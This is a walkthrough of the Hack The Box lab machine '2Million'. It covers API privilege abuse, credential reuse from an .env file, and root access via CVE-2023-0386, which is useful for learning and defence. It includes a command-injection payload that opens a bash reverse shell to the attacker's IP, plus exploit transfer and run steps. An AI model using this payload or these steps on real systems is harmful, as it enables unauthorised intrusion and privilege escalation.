Hacking "2Million": API Manipulation, Credential Reuse, and Kernel Exploitation

The path to rooting the "2Million" machine is a masterclass in connecting disparate vulnerabilities to form a complete kill chain. It moves from logical flaws in custom APIs to classic credential harvesting, and finally culminates in a modern kernel-level exploit. This machine reinforced the necessity of reading environment variables, following internal system hints when automated exploits fail, and understanding the mechanical execution requirements of complex C-based exploits.

The Deceptive Beginning: API Manipulation and Command Injection

The initial foothold was rooted in pure API enumeration and logical abuse. After interacting with the web application and generating a valid session cookie, the attack surface shifted to the backend endpoints. By sending a PUT request to /api/v1/admin/settings/update, I bypassed authorization checks and forcibly upgraded my user privileges to administrator ("is_admin":1).

With admin rights secured, the /api/v1/admin/vpn/generate endpoint became accessible. This endpoint was vulnerable to command injection via the username parameter. By breaking out of the expected JSON payload format ("username":"user; bash -c \"bash -i >& /dev/tcp/10.10.16.12/4444 0>&1\""), I forced the underlying system to execute a reverse shell.

Mindset Note: Never assume an API endpoint is secure just because it requires a specific content type or authentication. Always test for Broken Object Level Authorization (BOLA) and test every input parameter for injection, especially in functions that interact with the underlying OS (like generating VPN files).

The Grind of Lateral Movement: Credential Harvesting

Landing on the system as www-data provided limited privileges, and the shell was fragile. After stabilizing the terminal with Python's pty, the immediate priority was exploring the web root (/var/www/html). The target was custom application configurations.

The ls -la command revealed an .env file. Reading it exposed the database credentials: admin and SuperDuperPass123. Testing for password reuse is a mandatory step in any methodology. A quick check of /home confirmed the existence of an admin user. Using su admin with the discovered password granted a lateral pivot to a fully interactive user account and the user flag.

Mindset Note: Developers frequently leave secrets, hardcoded passwords, and database connection strings in .env or config files within the web directory. When you find credentials, always test them against system users (SSH or su). "Password Reuse" is one of the most reliable lateral movement vectors.

The "Aha!" Moment: Rabbit Holes and System Hints

As admin, checking the kernel version (uname -a) revealed 5.15.70, a version notoriously vulnerable to OverlayFS privilege escalation exploits (like CVE-2023-32629 / GameOver(lay)). However, attempting the standard one-liner unshare exploits repeatedly resulted in wrong fs type or operation not permitted errors, even when executed from /tmp or /dev/shm.

Instead of blindly modifying the exploit payload, I paused to look for system-specific context. Checking the internal mail (cat /var/mail/admin) provided the crucial pivot point. The "HTB Godfather" had left a message explicitly mentioning an OS upgrade and a "nasty CVE in OverlayFS / FUSE."

Mindset Note: When a known kernel exploit fails due to environmental constraints (like missing mount permissions), stop brute-forcing it. Enumerate the system for intended hints: read internal mail, check bash history (~/.bash_history), and look at SUID binaries. The presence of /usr/bin/fusermount3 in the SUID list, combined with the mail, confirmed the intended path was specifically CVE-2023-0386.

The Final Strike: Root via CVE-2023-0386

Exploiting CVE-2023-0386 required a more sophisticated approach than a single command. Because the target lacked outbound internet resolution (DNS was blocked), I had to host the exploit source code on my Kali machine, transfer it via wget over my tun0 IP, and compile it locally on the target using make.

The execution mechanics of this exploit were the final hurdle. It required a two-terminal setup:

1. Terminal 1: Run ./fuse ./ovlcap/lower ./gc to mount the vulnerable file system. This process hangs intentionally to keep the FUSE mount active.
2. Terminal 2: Establish a second SSH connection (or secondary reverse shell) as admin and run ./exp to trigger the vulnerability within the mounted environment.

The execution was clean. The second terminal successfully triggered the SUID copy flaw, yielding root@2million.

Reflections on the Learning Process

• Information Gathering is the Exploit: The vulnerability wasn't just "kernel is out of date." The vulnerability was the combination of the kernel version, the SUID fusermount3 binary, and the specific environment configuration.
• Adaptability in File Transfers: When git clone fails on the target, you must immediately pivot to local hosting (python3 -m http.server) and manual transfer. Do not rely on target internet access.
• Understanding Exploit Architecture: Script-kiddie execution fails here. You must understand why the exploit requires two terminals (one to hold the mount state, one to trigger the race condition/SUID copy).
• Read the Environment: System mails and .env files are not background noise; they are the narrative of the infrastructure. Treat them as roadmaps.